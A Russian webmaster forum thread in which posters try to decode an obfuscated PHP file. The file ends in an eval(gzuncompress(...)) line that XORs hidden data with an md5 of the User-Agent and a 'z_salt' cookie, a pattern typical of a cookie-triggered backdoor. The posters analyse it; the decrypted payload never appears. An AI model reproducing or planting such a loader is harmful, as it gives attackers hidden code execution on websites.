Вопрос к пхп-программистам

12
f0x
На сайте с 20.09.2006
Offline
116
f0x
989

Друзья. Помогите плз расшифровать файл.

Заканчивается он как :

$ІSѓ_xBa›њ51Д=str_repeat(md5($_SERVER["HTTP_USER_AGENT"].$_COOKIE["z_salt"]),72);@eval(@gzuncompress(($ІSѓ_іBa›њ51Д^$ІSѓ_xBa›њ51Д)));/*simp100219*/

И соответственно $ІSѓ_іBa›њ51Д – переменая которая расжимается и исполняется.

Поделитесь мыслью, как восстановить код который содержит переменная.

Премного благодарен

InoHacker
На сайте с 18.10.2009
Offline
75
#1

Честно говоря не очень понятно, что происходит в конце, но если смотреть на код по идеи должно получиться что переменная содержит строку, состоящую из 72 повторов некого md5 хеша.

Хешируется соответственно Юзер агент, объеденный с солью "z_salt" ....

Как то так =)

Магазин аккаунтов с балансом Litres,DNS,Ozon,Rotapost и еще 50+ других сервисов тут - vk.cc/7QK0Sk
totamon
На сайте с 12.05.2007
Offline
437
#2

$ІSѓ_іBa›њ51Д и $ІSѓ_іBa›њ51Д две разных переменных, одна вычисляется как 72 раза повтор md5 хеша юзер агента и куки z_salt, во вторй части выполняется декомпрессия побитной разницы этих 2х переменных,смысл этих операций скрыт:)) слишком мало данных...

Домены и хостинг https://8fn.ru/regru | Дедик от 3000р https://8fn.ru/73 | VPS в Москве https://8fn.ru/72 | Лучшие ВПС, ТП огонь, все страны! https://8fn.ru/inferno | ХОСТИНГ №1 РОССИИ https://8fn.ru/beget
f0x
На сайте с 20.09.2006
Offline
116
f0x
#3
totamon:
$ІSѓ_іBa›њ51Д и $ІSѓ_іBa›њ51Д две разных переменных, одна вычисляется как 72 раза повтор md5 хеша юзер агента и куки z_salt, во вторй части выполняется декомпрессия побитной разницы этих 2х переменных,смысл этих операций скрыт:)) слишком мало данных...

До этой строки, всего лишь 13 строк кода типа

$ІSѓ_іBa›њ51Д='NЄюnZм‹sОЊ{Й0g]=K|рS^ЪAхy‹ЧЭS@Ґ’ЂЭГеФr9июf`ё

То есть это содержание первой переменной $ІSѓ_іBa›њ51Д

Jekyll
На сайте с 04.05.2009
Offline
136
#4
f0x:
До этой строки, всего лишь 13 строк кода типа

Так это не весь код? Попробуйте заменить @eval на echo, посмотреть, что там в итоге получается. Но всё равно, думаю, эта штука будет работать только с нужным юзер-агентом и куками z_salt

f0x
На сайте с 20.09.2006
Offline
116
f0x
#5
Jekyll:
Так это не весь код? Попробуйте заменить @eval на echo, посмотреть, что там в итоге получается. Но всё равно, думаю, эта штука будет работать только с нужным юзер-агентом и куками z_salt

Выводит data error походу да, не получицца ничего

Pentium Prescott
На сайте с 23.10.2008
Offline
213
#6

скрипт в студию

Покупка и продажа криптовалют ( https://www.bestchange.ru/?p=1296834 )
DyaDya
На сайте с 11.04.2007
Offline
147
#7

С каких это пор, переменная в пыхе может иметь подобное $ІSѓ_xBa›њ51Д название?

Выбирайте качественный хостинг (http://vashmaster.ru/informaciya/o_poleznyh_programmah/news83.php) и продвигайте сайты в СЕОПУЛЬТ (http://seopult.ru/ref.php?ref=72b5ed9561fe66a1). А на «SAPE» я в обиде :) Не упрекайте за очепятки, пишу вслепую (http://ergosolo.ru/) и также делаю сайты (http://www.vashmaster.ru/) ;)
Pentium Prescott
На сайте с 23.10.2008
Offline
213
#8
DyaDya:
С каких это пор, переменная в пыхе может иметь подобное $ІSѓ_xBa›њ51Д название?

с момента выхода языка.

LEOnidUKG
На сайте с 25.11.2006
Offline
1774
#9
DyaDya:
С каких это пор, переменная в пыхе может иметь подобное $ІSѓ_xBa›њ51Д название?

<?

$ІSѓ_іBa›њ51Д="sdfdsf";
echo $ІSѓ_іBa›њ51Д;
?>

Пашет как миленький :)

LEOnidUKG добавил 27.03.2010 в 18:35

f0x:
Друзья. Помогите плз расшифровать файл.

функцию: gzuncompress()

покажите :)

✅ Мой Телеграм канал по SEO, оптимизации сайтов и серверов: https://t.me/leonidukgLIVE ✅ Качественное и рабочее размещение SEO статей СНГ и Бурж: https://getmanylinks.ru/ ✅ Настройка и оптимизация серверов https://getmanyspeed.ru/
Pentium Prescott
На сайте с 23.10.2008
Offline
213
#10
LEOnidUKG:



функцию: gzuncompress()

покажите :)

http://php.net/manual/en/function.gzuncompress.php

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий